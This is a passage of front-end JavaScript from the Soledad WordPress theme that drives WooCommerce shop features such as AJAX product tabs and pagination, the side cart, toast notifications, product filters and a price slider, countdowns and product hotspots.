									var content = $( data ).find( 'ul.products' ).html(),
										pagination = $( data ).find( '.woocommerce-pagination' ).html(),
										next = $( data ).find( '.woocommerce-pagination .next.page-numbers' )
									contentContainer.removeClass( 'pre-load-content' )
									thisBtn.removeClass( 'loading-posts' )
									contentContainer.find( 'ul.products' ).append( content )
									contentContainer.find( '.woocommerce-pagination' ).html( pagination )
									PENCI.tippyContent()
									PENCI.loadingicon()
									PENCI.fixproductIconsize()
									PENCI.quickshop()
									if ( next.length === 0 ) {
										thisBtn.hide()
									}
								},
							} )
						}
					} )
				}
			}
		}

		/* Product Select2button
	---------------------------------------------------------------*/
		PENCI.select2button = function () {
			if ( penciwoo.select2button > 0 ) {
				$( '.variations_form.cart table.variations .value' ).each( function () {
					var $this = $( this ), $select = $this.find( 'select' )
					if ( $this.find( '.penci-swatches' ).length < 1 ) {

						$select.gridPicker( {
							canSelect: function ( element ) {
								return !$( element ).is( ':disabled' )
							}, canUnselect: function ( element ) {
								return typeof this._$ui.element.attr( 'multiple' ) !== 'undefined'
							},
						} )
					}
				} )
			}
		}

		/* Product Sidebar
	---------------------------------------------------------------*/
		PENCI.sidecart = function () {
			$( document ).on( 'click', '.shoping-cart-icon a', function ( e ) {
				e.preventDefault()
				$( 'body' ).addClass( 'open-sidecart' )
			} )
			$( '.sidebar-cart-close' ).on( 'click', function () {
				$( 'body' ).removeClass( 'open-sidecart' )
			} )
		}

		/* Top Widget Trigger
	---------------------------------------------------------------*/
		PENCI.topWidgets = function () {

			var scrollEnable = true, bdY = $( 'body' ), filtetPanelPositon = penciwoo.fullpanelposition,
				filterClass = 'penci-' + filtetPanelPositon + '-filter-active'

			if ( window.matchMedia( '(max-width: 767px)' ).matches && penciwoo.disable_mobile_autoscroll > 0 ) {
				scrollEnable = false
			}

			$( document ).on( 'click', '.penci-product-top-filter-button > .penci-filter-button', function ( e ) {
				e.preventDefault()
				bdY.toggleClass( filterClass )
				$( this ).toggleClass( 'close' )
			} )

			$( document ).on( 'click', 'button.close-sidebar', function ( e ) {
				bdY.toggleClass( filterClass )
				$( '.penci-product-top-filter-button > .penci-filter-button' ).toggleClass( 'close' )
			} )

			$( document ).keyup( function ( e ) {
				if ( e.key === 'Escape' ) {
					if ( bdY.hasClass( filterClass ) ) {
						bdY.removeClass( filterClass )
						$( '.penci-product-top-filter-button > .penci-filter-button' ).removeClass( 'close' )
					}
				}
			} )
		}

		PENCI.productSwiper = function ( selector ) {

			var tabProduct = $( selector ).find( 'ul.products' ), speed = tabProduct.data( 'speed' ),
				slides_per_view = tabProduct.data( 'desktop' ),
				slides_per_view_tablet = tabProduct.data( 'tablet' ) ? tabProduct.data( 'desktop' ) : slides_per_view,
				slides_per_view_mobile = tabProduct.data( 'mobile' ) ? tabProduct.data( 'mobile' ) : slides_per_view,
				autoplay = tabProduct.data( 'autoplay' ), center_mode = tabProduct.data( 'center_mode' ),
				hide_pagination_control = tabProduct.data( 'hide_pagination_control' ),
				hide_prev_next_buttons = tabProduct.data( 'hide_prev_next_buttons' ),
				datamargin = tabProduct.attr( 'data-margin' ), scroll_per_page = tabProduct.data( 'scroll_per_page' ),
				vclass = 'swiper_v_' + Math.floor( Math.random() * (
				         9999999 - 1 + 1
				) + 1 ),
				$ids = 'swiper_v_' + Math.floor( Math.random() * (
				       9999999 - 1 + 1
				) + 1 )

			if ( !tabProduct.hasClass( 'swiper' ) ) {
				tabProduct.addClass( 'swiper ' + vclass )
				tabProduct.find( 'li' ).addClass( 'swiper-slide' )
				tabProduct.wrapInner( '<div class="swiper-wrapper"></div>' )
			}

			$( 'body' ).trigger( 'slider-load' )

		}

		/* Penci Ajax Product Query
	---------------------------------------------------------------*/
		PENCI.productQuery = function () {

			$( '.elementor-element' ).each( function () {
				var telement = $( this ),
					defaultTab = $( telement ).find( '.penci-products-tabs .products-tabs-title li.active-tab-title' )
				if ( 'carousel' === defaultTab.data( 'layout' ) ) {
					$( 'body' ).trigger( 'slider-load' )
				}
			} )

			$( '.penci-products-tabs' ).on( 'click', '.products-tabs-title li', function ( e ) {
				e.preventDefault()
				var $this = $( this ), $setting = $this.data( 'atts' ),
					$elementClass = $this.closest( '.elementor-element' ), $queryID = $this.data( 'queryid' ),
					$layout = $this.data( 'layout' ), $queryClass = '.products-' + $queryID + '-section',
					$contentContainer = $elementClass.find( '.penci-tab-content-container' ),
					$slider = $( $queryClass ).find( 'ul.products' )

				if ( $this.hasClass( 'active-tab-title' ) ) {
					return false
				}

				if ( $elementClass.find( $queryClass ).length > 0 ) {
					$contentContainer.find( '.penci-custom-products' ).removeClass( 'active' )
					$contentContainer.find( $queryClass ).addClass( 'active' )

					$elementClass.find( '.products-tabs-title li' ).removeClass( 'active-tab-title' )
					$this.addClass( 'active-tab-title' )

					if ( 'carousel' === $layout ) {
						$( 'body' ).trigger( 'slider-load' )
					}

				} else {
					$.ajax( {
						url: penciwoo.ajaxUrl, data: {
							action: 'penci_ajax_load_products',
							settings: $setting,
							requestid: penciwoo.nonce,
							preloader: 0,
						}, method: 'get', beforeSend: function () {
							$contentContainer.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							$contentContainer.append( data )
							$contentContainer.removeClass( 'pre-load-content' )
							$contentContainer.find( '.penci-custom-products' ).removeClass( 'active' )
							$contentContainer.find( $queryClass ).addClass( 'active' )
							$elementClass.find( '.products-tabs-title li' ).removeClass( 'active-tab-title' )
							$this.addClass( 'active-tab-title' )
							PENCI.tippyContent()
							PENCI.loadingicon()
							PENCI.fixproductIconsize()
							PENCI.quickshop()
							if ( 'carousel' === $layout ) {
								$( 'body' ).trigger( 'slider-load' )
							}
						},
					} )
				}
			} ).on( 'click', '.page-numbers a', function ( e ) {

				var linkURL = $( this ).attr( 'href' ).toString()

				if ( linkURL.indexOf( 'penci_ajax_load_products' ) >= 0 ) {

					var parentClass = $( this ).closest( '.page-unique-part' ),
						containerUnit = '.' + parentClass.data( 'part' ),
						parentConent = $( '.penci-tab-content-container' ), postURL = $( this ).attr( 'href' )
					$.ajax( {
						url: postURL, method: 'get', beforeSend: function () {
							parentConent.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							parentConent.find( containerUnit ).remove()
							parentConent.append( data )
							parentConent.removeClass( 'pre-load-content' )
							parentConent.find( containerUnit ).addClass( 'active' )
							PENCI.tippyContent()
						},
					} )
				}

				e.preventDefault()
			} )

			$( document ).on( 'click', '.penci-swatches-divider', function () {
				var $click = $( this ), $item = $click.closest( '.penci-swatches-list' )
				$item.find( '.penci-swatch-item' ).removeClass( 'hidden' )
				$click.hide()
			} )

		}

		/* Penci Notify
	---------------------------------------------------------------*/
		PENCI.notify = function ( title, message, type ) {
			if ( penciwoo.toast_notify > 0 && title && message && type ) {

				var $icon = type

				if ( type === 'added_to_cart' ) {
					$icon = false
				}

				$.toast( {
					heading: title,
					text: message,
					icon: $icon,
					position: penciwoo.toast_notify_position,
					textAlign: penciwoo.toast_notify_text_align,
					showHideTransition: penciwoo.toast_notify_transition,
					hideAfter: penciwoo.toast_notify_hide_after,
					bgColor: penciwoo.toast_notify_bg_color,
					textColor: penciwoo.toast_notify_text_color,
				} )
			}
		}

		/* Penci Misc Template
   ---------------------------------------------------------------*/
		PENCI.ajaxNotify = function ( $id ) {
			$.ajax( {
				url: penciwoo.ajaxUrl, data: {
					action: 'penci_get_product_info', requestid: penciwoo.nonce, id: $id,
				}, method: 'get', success: function ( response ) {
					PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + penciwoo.addtocart + '.</p></div>', penciwoo.toast_notify_shop_sucess_text + '<div class="woocommerce notify_bottom"><a class="button shop_url" href="' + penciwoo.toast_notify_shop_url + '">' + penciwoo.toast_notify_shop_text + '</a><a class="button checkout_url" href="' + penciwoo.checkout_url + '">' + penciwoo.checkout_text + '</a></div>', 'added_to_cart' )
				},
			} )
		}

		/* Penci Misc Template
	---------------------------------------------------------------*/
		PENCI.getURLparam = function ( sParam ) {
			var sPageURL = window.location.search.substring( 1 ), sURLVariables = sPageURL.split( '&' ), sParameterName,
				i

			for ( i = 0; i < sURLVariables.length; i ++ ) {
				sParameterName = sURLVariables[i].split( '=' )

				if ( sParameterName[0] === sParam ) {
					return typeof sParameterName[1] === undefined ? true : decodeURIComponent( sParameterName[1] )
				}
			}
			return false
		}

		PENCI.misc = function () {
			var body = $( 'body' )
			if ( body.find( '.penci-mobile-bottom-nav' ).length > 0 ) {
				body.addClass( 'mobile-bottom-nav-active' )
			}

			$( '.penci-mobile-bottom-nav li.filter a' ).on( 'click', function ( e ) {
				e.preventDefault()
				$( 'body' ).addClass( 'open-filter-side' )
			} )
			$( '.sidebar-filter-close, .sidebar-filter-close-button' ).on( 'click', function () {
				$( 'body' ).removeClass( 'open-filter-side penci-side-right-filter-active penci-side-left-filter-active' )
				$( '.penci-product-top-filter-button > .penci-filter-button' ).removeClass( 'close' )
			} )
			$( '.penci-top-relate-post .top-ralate-item' ).each( function () {
				if ( PENCI.isMobile() ) {
					var tItem = $( this ), title = tItem.find( 'h4' ).text(), link = tItem.find( 'a' ).attr( 'href' )
					tItem.attr( 'data-tippy-content', title )
					tippy( '[data-tippy-content]', { placement: 'bottom' } )
					$( this ).on( 'click', function () {
						window.location.href = link
					} )
				}
			} )

			$( '.widget_layered_nav_filters a,.soledad-product-filter li.chosen a.layered-nav-link' ).each( function () {
				var theme_demo_mods = penciwoo.demo_mods, currentURL = $( this ).attr( 'href' )
				$.each( theme_demo_mods, function ( index, attr ) {
					var value = PENCI.getURLparam( attr )
					if ( value.length > 0 ) {
						currentURL = PENCI.updateURL( currentURL, attr, value )
					}
				} )

				$( this ).attr( 'href', currentURL )
			} )
		}

		/* Penci Woo Extra
	---------------------------------------------------------------*/

		PENCI.wooextra = function () {

			$( 'body' ).on( 'wc_cart_button_updated', function () {
				$( '.penci-product-loop-button' ).find( 'a.added_to_cart.wc-forward' ).remove()
			} )

			$( document ).on( 'added_to_cart', function ( event, fragments, cart_hash, $button ) {

				if ( 'dropdown' !== penciwoo.cartstyle.toString() ) {
					$( 'body' ).addClass( 'open-sidecart' )
				}

				if ( penciwoo.cartnotify > 0 ) {

					var $id

					if ( $button.data( 'product_id' ) ) {
						$id = $button.data( 'product_id' )
					} else {
						if ( $button.closest( 'form.cart' ).data( 'product_id' ) ) {
							$id = $button.closest( 'form.cart' ).data( 'product_id' )
						} else if ( $button.attr( 'value' ) ) {
							$id = $button.attr( 'value' )
						}
					}

					if ( $id ) {
						PENCI.ajaxNotify( $id )
						return false
					}

				}
			} )
		}

		/* Penci Loading
	---------------------------------------------------------------*/
		PENCI.loadingicon = function () {

			var penci_loading_icon = '<span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span>',
				elAdd = [
					'.single_add_to_cart_button',
					'ul.product-style-5 .penci-product-loop-top a.button.add_to_cart_button',
					'ul.product-style-3 .penci-product-loop-image a.button.add_to_cart_button',
					'ul.product-standard a.button',
					'.penci-list-action .button',
					'.woocommerce.penci-products-compare-table a.button.add_to_cart_button',
					'.hotspot-product .button',
				]

			$.each( elAdd, function ( index, value ) {
				$( value ).append( penci_loading_icon ).addClass( 'has-new-preload' )
			} )
		}

		/* Penci Product Filter
	---------------------------------------------------------------*/
		PENCI.productFilters = function () {
			var removeValue = function ( $mainInput, currentVal ) {
				if ( $mainInput.length === 0 ) {
					return
				}

				var mainInputVal = $mainInput.val()

				if ( mainInputVal.indexOf( ',' ) > 0 ) {
					$mainInput.val( mainInputVal.replace( ',' + currentVal, '' ).replace( currentVal + ',', '' ) )
				} else {
					$mainInput.val( mainInputVal.replace( currentVal, '' ) )
				}
			}

			$( '.penci-pf-checkboxes li > .pf-value' ).on( 'click', function ( e ) {
				e.preventDefault()
				var $this = $( this ), $li = $this.parent(), $widget = $this.parents( '.penci-pf-checkboxes' ),
					$mainInput = $widget.find( '.result-input' ), $results = $widget.find( '.penci-pf-results' ),
					multiSelect = $widget.hasClass( 'multi_select' ), mainInputVal = $mainInput.val(),
					currentText = $this.data( 'title' ), currentVal = $this.data( 'val' )

				if ( multiSelect ) {
					if ( !$li.hasClass( 'pf-active' ) ) {
						if ( mainInputVal === '' ) {
							$mainInput.val( currentVal )
						} else {
							$mainInput.val( mainInputVal + ',' + currentVal )
						}

						$results.prepend( '<li class="selected-value" data-title="' + currentVal + '">' + currentText + '</li>' )
						$li.addClass( 'pf-active' )
					} else {
						removeValue( $mainInput, currentVal )
						$results.find( 'li[data-title="' + currentVal + '"]' ).remove()
						$li.removeClass( 'pf-active' )
					}
				} else {
					if ( !$li.hasClass( 'pf-active' ) ) {
						$mainInput.val( currentVal )
						$results.find( '.selected-value' ).remove()
						$results.prepend( '<li class="selected-value" data-title="' + currentVal + '">' + currentText + '</li>' )
						$li.parents( '.penci-scroll-content' ).find( '.pf-active' ).removeClass( 'pf-active' )
						$li.addClass( 'pf-active' )
					} else {
						$mainInput.val( '' )
						$results.find( '.selected-value' ).remove()
						$li.removeClass( 'pf-active' )
					}
				}
			} )

			// Label clear
			var $checkboxes = $( '.penci-pf-checkboxes' )
			$checkboxes.on( 'click', '.selected-value', function () {
				var $this = $( this ), $widget = $this.parents( '.penci-pf-checkboxes' ),
					$mainInput = $widget.find( '.result-input' ), currentVal = $this.data( 'title' )

				// Price filter clear
				if ( currentVal === 'price-filter' ) {
					var min = $this.data( 'min' ), max = $this.data( 'max' ),
						$slider = $widget.find( '.price_slider_widget' )
					$slider.slider( 'values', 0, min )
					$slider.slider( 'values', 1, max )
					$widget.find( '.min_price' ).val( '' )
					$widget.find( '.max_price' ).val( '' )
					$( 'body' ).trigger( 'filter_price_slider_slide', [
						min, max, min, max, $slider,
					] )
					return
				}

				removeValue( $mainInput, currentVal )
				$widget.find( '.pf-value[data-val="' + currentVal + '"]' ).parent().removeClass( 'pf-active' )
				$this.remove()
			} )

			// Checkboxes value dropdown
			$checkboxes.each( function () {
				var $this = $( this ), $btn = $this.find( '.penci-pf-title' ),
					$list = $btn.siblings( '.penci-pf-dropdown' ), multiSelect = $this.hasClass( 'multi_select' )

				$btn.on( 'click', function ( e ) {
					var target = e.target

					if ( $( target ).is( $btn.find( '.selected-value' ) ) ) {
						return
					}

					if ( !$this.hasClass( 'opened' ) ) {
						$this.addClass( 'opened' )
						$list.slideDown( 100 )
						setTimeout( function () {
							$( document ).trigger( 'wdProductFiltersOpened' )
						}, 300 )
					} else {
						close()
					}
				} )

				$( document ).on( 'click', function ( e ) {
					var target = e.target

					if ( $this.hasClass( 'opened' ) && (
						multiSelect && !$( target ).is( $this ) && !$( target ).parents().is( $this )
					) || (
						     !multiSelect && !$( target ).is( $btn ) && !$( target ).parents().is( $btn )
					     ) ) {
						close()
					}
				} )

				var close = function () {
					$this.removeClass( 'opened' )
					$list.slideUp( 100 )
				}
			} )

			var removeEmptyValues = function ( $selector ) {
				$selector.find( '.penci-pf-checkboxes' ).each( function () {
					var $this = $( this )

					if ( !$this.find( 'input[type="hidden"]' ).val() ) {
						$this.find( 'input[type="hidden"]' ).remove()
					}
				} )
			}

			var changeFormAction = function ( $form ) {
				var activeCat = $form.find( '.penci-pf-categories .pf-active .pf-value' )

				if ( activeCat.length > 0 ) {
					$form.attr( 'action', activeCat.attr( 'href' ) )
				}
			}

			// Price slider init
			$( 'body' ).on( 'filter_price_slider_create filter_price_slider_slide', function ( event, min, max, minPrice, maxPrice, $slider ) {
				var minHtml = accounting.formatMoney( min, {
					symbol: woocommerce_price_slider_params.currency_format_symbol,
					decimal: woocommerce_price_slider_params.currency_format_decimal_sep,
					thousand: woocommerce_price_slider_params.currency_format_thousand_sep,
					precision: woocommerce_price_slider_params.currency_format_num_decimals,
					format: woocommerce_price_slider_params.currency_format,
				} )

				var maxHtml = accounting.formatMoney( max, {
					symbol: woocommerce_price_slider_params.currency_format_symbol,
					decimal: woocommerce_price_slider_params.currency_format_decimal_sep,
					thousand: woocommerce_price_slider_params.currency_format_thousand_sep,
					precision: woocommerce_price_slider_params.currency_format_num_decimals,
					format: woocommerce_price_slider_params.currency_format,
				} )

				$slider.siblings( '.filter_price_slider_amount' ).find( 'span.from' ).html( minHtml )
				$slider.siblings( '.filter_price_slider_amount' ).find( 'span.to' ).html( maxHtml )

				var $results = $slider.parents( '.penci-pf-checkboxes' ).find( '.penci-pf-results' ),
					value = $results.find( '.selected-value' )

				if ( min === minPrice && max === maxPrice ) {
					value.remove()
				} else {
					if ( value.length === 0 ) {
						$results.prepend( '<li class="selected-value" data-title="price-filter" data-min="' + minPrice + '" data-max="' + maxPrice + '">' + minHtml + ' - ' + maxHtml + '</li>' )
					} else {
						value.html( minHtml + ' - ' + maxHtml )
					}
				}

				$( 'body' ).trigger( 'price_slider_updated', [
					min, max,
				] )
			} )

			$( '.penci-pf-price-range .price_slider_widget' ).each( function () {
				var $this = $( this ), $minInput = $this.siblings( '.filter_price_slider_amount' ).find( '.min_price' ),
					$maxInput = $this.siblings( '.filter_price_slider_amount' ).find( '.max_price' ),
					minPrice = parseInt( $minInput.data( 'min' ) ), maxPrice = parseInt( $maxInput.data( 'max' ) ),
					currentMinPrice = parseInt( $minInput.val() ), currentMaxPrice = parseInt( $maxInput.val() )

				$( '.price_slider_widget, .price_label' ).show()

				$this.slider( {
					range: true, animate: true, min: minPrice, max: maxPrice, values: [
						currentMinPrice, currentMaxPrice,
					], create: function () {
						if ( currentMinPrice === minPrice && currentMaxPrice === maxPrice ) {
							$minInput.val( '' )
							$maxInput.val( '' )
						}

						$( 'body' ).trigger( 'filter_price_slider_create', [
							currentMinPrice, currentMaxPrice, minPrice, maxPrice, $this,
						] )
					}, slide: function ( event, ui ) {
						if ( ui.values[0] === minPrice && ui.values[1] === maxPrice ) {
							$minInput.val( '' )
							$maxInput.val( '' )
						} else {
							$minInput.val( ui.values[0] )
							$maxInput.val( ui.values[1] )
						}

						$( 'body' ).trigger( 'filter_price_slider_slide', [
							ui.values[0], ui.values[1], minPrice, maxPrice, $this,
						] )
					}, change: function ( event, ui ) {
						$( 'body' ).trigger( 'price_slider_change', [
							ui.values[0], ui.values[1],
						] )
					},
				} )
			} )

			// Submit filter form
			$( '.penci-product-filters' ).one( 'click', '.penci-pf-btn button', function () {
				var $this = $( this ), $form = $this.parents( '.penci-product-filters' )
				removeEmptyValues( $form )
				changeFormAction( $form )

				if ( !$( 'body' ).hasClass( 'penci-ajax-shop-on' ) || typeof (
					$.fn.pjax
				) == 'undefined' || !$form.hasClass( 'with-ajax' ) ) {
					return
				}

				$.pjax( {
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					url: $form.attr( 'action' ),
					data: $form.serialize(),
					scrollTo: false,
				} )

				$this.prop( 'disabled', true )
			} )

			// Create labels after ajax
			$( '.penci-pf-checkboxes .pf-active > .pf-value' ).each( function () {
				var $this = $( this ),
					resultsWrapper = $this.parents( '.penci-pf-checkboxes' ).find( '.penci-pf-results' )

				resultsWrapper.prepend( '<li class="selected-value" data-title="' + $this.data( 'val' ) + '">' + $this.data( 'title' ) + '</li>' )
			} )
		}

		/* Penci Category Dropdown
	---------------------------------------------------------------*/
		PENCI.categoryDropdown = function () {
			$( '.penci-search-cat' ).each( function () {
				var dd = $( this ), btn = dd.find( '> a' ), input = dd.find( '> input' ),
					list = dd.find( '> .penci-dropdown' ), $searchInput = dd.parent().parent().find( '.s' )

				$searchInput.on( 'focus', function () {
					inputPadding()
				} )

				$( document ).on( 'click', function ( e ) {
					var target = e.target

					if ( list.hasClass( 'penci-opened' ) && !$( target ).is( '.penci-search-cat' ) && !$( target ).parents().is( '.penci-search-cat' ) ) {
						hideList()
						return false
					}
				} )

				btn.on( 'click', function ( e ) {
					e.preventDefault()

					if ( list.hasClass( 'penci-opened' ) ) {
						hideList()
					} else {
						showList()
					}

					return false
				} )

				list.on( 'click', 'a', function ( e ) {
					e.preventDefault()
					var $this = $( this ), value = $this.data( 'val' ), label = $this.text()

					list.find( '.current-item' ).removeClass( 'current-item' )
					$this.parent().addClass( 'current-item' )

					if ( value !== 0 ) {
						list.find( 'ul:not(.children) > li:first-child' ).show()
					} else if ( value === 0 ) {
						list.find( 'ul:not(.children) > li:first-child' ).hide()
					}

					btn.find( 'span' ).text( label )
					input.val( value ).trigger( 'cat_selected' )
					hideList()
					inputPadding()
				} )

				function showList() {
					list.addClass( 'penci-opened' )

					if ( typeof (
						$.fn.devbridgeAutocomplete
					) != 'undefined' ) {
						dd.parent().siblings( '[type="text"]' ).devbridgeAutocomplete( 'hide' )
					}

					setTimeout( function () {
						$( document ).trigger( 'wdSimpleDropdownOpened' )
					}, 300 )
				}

				function hideList() {
					list.removeClass( 'penci-opened' )
				}

				function inputPadding() {
					if ( $( window ).width() <= 768 || $searchInput.hasClass( 'penci-padding-inited' ) || 'yes' !== penciwoo.search_input_padding ) {
						return
					}

					var paddingValue = dd.innerWidth() + dd.parent().siblings( '.searchsubmit' ).innerWidth() + 17,
						padding = 'padding-right'

					if ( $( 'body' ).hasClass( 'rtl' ) ) {
						padding = 'padding-left'
					}

					$searchInput.css( padding, paddingValue )
					$searchInput.addClass( 'penci-padding-inited' )
				}
			} )
		}

		/* Countdown
	 ---------------------------------------------------------------*/
		PENCI.product_countdown = function () {
			$( '.penci-time-countdown' ).each( function () {
				var $this = $( this )
				dayjs.extend( window.dayjs_plugin_utc )
				dayjs.extend( window.dayjs_plugin_timezone )
				var time = dayjs.tz( $this.data( 'end-date' ), $this.data( 'timezone' ) )
				$this.countdown( time.toDate(), function ( event ) {
					$this.html( event.strftime( '' + '<span class="countdown-days">%-D <span>' + penciwoo.countdown_days + '</span></span> ' + '<span class="countdown-hours">%H <span>' + penciwoo.countdown_hours + '</span></span> ' + '<span class="countdown-min">%M <span>' + penciwoo.countdown_mins + '</span></span> ' + '<span class="countdown-sec">%S <span>' + penciwoo.countdown_sec + '</span></span>' ) )
				} )
			} )
		}

		/* Product Sticky sidebar
	 ----------------------------------------------------------------*/
		PENCI.product_sticky_sidebar = function () {
			if ( $().theiaStickySidebar ) {
				var top_margin = 90
				if ( $( 'body' ).hasClass( 'admin-bar' ) && $( 'body' ).hasClass( 'penci-vernav-enable' ) ) {
					top_margin = 62
				} else if ( !$( 'body' ).hasClass( 'admin-bar' ) && $( 'body' ).hasClass( 'penci-vernav-enable' ) ) {
					top_margin = 30
				} else if ( $( 'body' ).hasClass( 'admin-bar' ) && !$( 'body' ).hasClass( 'penci-vernav-enable' ) ) {
					top_margin = 122
				}

				$( '#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar' ).theiaStickySidebar( {
					// settings
					additionalMarginTop: top_margin,
				} )

				$( '.penci-product-summary.penci-main-sticky-sidebar, .woocommerce-product-gallery.penci-sticky-sidebar' ).theiaStickySidebar( {
					// settings.
					additionalMarginTop: top_margin,
				} )

				$( '.sidebar-bottom .penci-content-sticky-sidebar .bottom-content, .sidebar-bottom .penci-content-sticky-sidebar #sidebar.penci-sticky-sidebar' ).theiaStickySidebar( {
					// settings.
					additionalMarginTop: top_margin,
				} )
			} // if sticky
		}

		/* Product Sidebar Quantity
	 ----------------------------------------------------------------*/
		PENCI.sidecartQuantity = function () {
			var timeout
			$( document ).on( 'change input', '.woocommerce-mini-cart .quantity .qty', function () {
				var input = $( this ), qtyVal = input.val(), itemID = input.parents( '.mini_cart_item' ).data( 'key' ),
					penci_loading_icon = '<span class="penci-loading-icon"><span class="bubble"></span><span class="bubble"></span><span class="bubble"></span></span>'

				clearTimeout( timeout )

				timeout = setTimeout( function () {
					input.parents( '.mini_cart_item' ).append( penci_loading_icon ).addClass( 'loading' )

					$.ajax( {
						url: penciwoo.ajaxUrl, data: {
							action: 'penci_shop_update_cart_item', item_id: itemID, qty: qtyVal,
						}, success: function ( data ) {
							if ( data && data.fragments ) {
								$.each( data.fragments, function ( key, value ) {
									if ( $( key ).hasClass( 'widget_shopping_cart_content' ) ) {
										var dataItemValue = $( value ).find( '.woocommerce-mini-cart-item[data-key="' + itemID + '"]' ),
											dataFooterValue = $( value ).find( '.woocommerce-mini-cart__total' ),
											$itemSelector = $( key ).find( '.woocommerce-mini-cart-item[data-key="' + itemID + '"]' )

										if ( !data.cart_hash ) {
											$( key ).replaceWith( value )
										} else {
											$itemSelector.replaceWith( dataItemValue )
											$( '.woocommerce-mini-cart__total' ).replaceWith( dataFooterValue )
										}
									} else {
										$( key ).replaceWith( value )
									}
								} )
							}
						}, dataType: 'json', method: 'GET',
					} )
				}, 500 )
			} )
		}

		/* Product Sticky sidebar
	----------------------------------------------------------------*/
		PENCI.fixproductIconsize = function () {
			$( 'ul.products' ).find( 'li.product' ).each( function ( e ) {
				var productC = $( this ), productZ = productC.closest( 'ul.products' ),
					productB = productC.find( '.penci-product-loop-button' ).innerHeight(),
					productW = productC.find( '.penci-product-loop-top' ).innerHeight()
				if ( productB > productW ) {
					productZ.addClass( 'penci-small-width' )
				} else {
					productZ.removeClass( 'penci-small-width' )
				}
			} )
			$( '.widget.soledad-product-filter' ).each( function () {
				var items = $( this ).find( 'ul.swatches-display-list li' ).length,
					height = $( this ).find( 'ul.swatches-display-list li' ).outerHeight(), standard = penciwoo.wdgh

				if ( PENCI.isMobile() || window.matchMedia( '(max-width: 768px)' ).matches ) {
					standard = penciwoo.wdgmh
				}

				$( this ).addClass( 'penci-scroll-inactive' ).removeClass( 'penci-scroll-active' )

				if ( items * height + items * 5.32 > standard ) {
					$( this ).removeClass( 'penci-scroll-inactive' ).addClass( 'penci-scroll-active' )
				}
			} )
		}

		/* Hotspot Product
	----------------------------------------------------------------*/
		PENCI.producthotspot = function () {
			$( '.penci-image-hotspot' ).each( function () {
				var _this = $( this )
				var btn = _this.find( '.hotspot-btn' )
				var parentWrapper = _this.parents( '.penci-image-hotspot-wrapper' )

				if ( !parentWrapper.hasClass( 'hotspot-action-click' ) && $( window ).width() > 1024 ) {
					return
				}

				btn.on( 'click', function () {
					if ( _this.hasClass( 'hotspot-opened' ) ) {
						_this.removeClass( 'hotspot-opened' )
					} else {
						_this.addClass( 'hotspot-opened' )
						_this.siblings().removeClass( 'hotspot-opened' )
					}

					$( document ).trigger( 'wood-images-loaded' )
					return false
				} )

				$( document ).on( 'click', function ( e ) {
					var target = e.target

					if ( _this.hasClass( 'hotspot-opened' ) && !$( target ).is( '.penci-image-hotspot' ) && !$( target ).parents().is( '.penci-image-hotspot' ) ) {
						_this.removeClass( 'hotspot-opened' )
						return false
					}
				} )
			} )

			//Image loaded
			$( '.penci-image-hotspot-wrapper' ).each( function () {
				var _this = $( this )
				_this.imagesLoaded( function () {
					_this.addClass( 'loaded' )
				} )
			} )

			$( '.pc-image-hotspot .hotspot-content' ).each( function () {
				var content = $( this ), offsetLeft = content.offset().left, offsetRight = $( window ).width() - (
					offsetLeft + content.outerWidth()
				)

				if ( $( window ).width() > 768 ) {
					if ( offsetLeft <= 0 ) {
						content.addClass( 'hotspot-overflow-right' )
					}
					if ( offsetRight <= 0 ) {
						content.addClass( 'hotspot-overflow-left' )
					}
				}

				if ( $( window ).width() <= 768 ) {
					if ( offsetLeft <= 0 ) {
						content.css( 'marginLeft', Math.abs( offsetLeft - 15 ) + 'px' )
					}
					if ( offsetRight <= 0 ) {
						content.css( 'marginLeft', offsetRight - 15 + 'px' )
					}
				}
			} )
		}

		/* Soledad on Mobile
	----------------------------------------------------------------*/
		PENCI.mobileTrigger = function () {
			$( document ).on( 'mouseenter mousemove touchstart', '.penci-soledad-product', function ( e ) {
				var $this = $( this )
				$this.closest( 'ul.products' ).find( '.penci-soledad-product' ).removeClass( 'penci-hover' )
				$this.addClass( 'penci-hover' )
			} )
		}

		/* Init functions
	 ---------------------------------------------------------------*/
		$( document ).ready( function () {
			PENCI.yith()
			PENCI.quickview()
			PENCI.wishlist()
			PENCI.compare()
			PENCI.swatches( '.entry-summary .variations_form' )
			PENCI.productslider()
			PENCI.quantity()
			PENCI.productLoop()
			PENCI.productATC()
			PENCI.productVATC()
			PENCI.quickshop()
			PENCI.accordion()
			PENCI.productCarousel()
			PENCI.productSticky()
			PENCI.tippyContent()
			PENCI.pagination()
			PENCI.select2button()
			PENCI.topWidgets()
			PENCI.productQuery()
			PENCI.productFilters()
			PENCI.misc()
			PENCI.categoryDropdown()
			PENCI.product_countdown()
			PENCI.product_sticky_sidebar()
			PENCI.loadingicon()
			PENCI.sidecartQuantity()
			PENCI.producthotspot()
			PENCI.fixproductIconsize()
			PENCI.wooextra()
			if ( /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test( navigator.userAgent ) ) {
				PENCI.mobileTrigger()
			}
			if ( 'dropdown' !== penciwoo.cartstyle.toString() ) {
				PENCI.sidecart()
			}
			if ( penciwoo.ajaxshop > 0 ) {
				PENCI.ajaxfilter()
			}
			$( window ).on( 'resize', function () {
				PENCI.fixproductIconsize()
			} )
		} )

		// Hook to Elementor Edit.
		$.each( ['frontend/element_ready/penci_product_deals.default'], function ( index, value ) {
			PENCI.elAction( value, function () {
				PENCI.fixproductIconsize()
			} )
		} )

		$.each( ['frontend/element_ready/penci_products_tabs.default'], function ( index, value ) {
			PENCI.elAction( value, function () {
				PENCI.productQuery()
				PENCI.fixproductIconsize()
				PENCI.tippyContent()
			} )
		} )

		$.each( ['frontend/element_ready/penci_product_hotspot.default'], function ( index, value ) {
			PENCI.elAction( value, function () {
				PENCI.producthotspot()
			} )
		} )

		$.each( [
			'frontend/element_ready/penci_products.default',
			'frontend/element_ready/penci_product_categories.default',
			'frontend/element_ready/penci_products_brands.default',
		], function ( index, value ) {
			PENCI.elAction( value, function () {
				$( 'body' ).trigger( 'slider-load' )
				PENCI.misc()
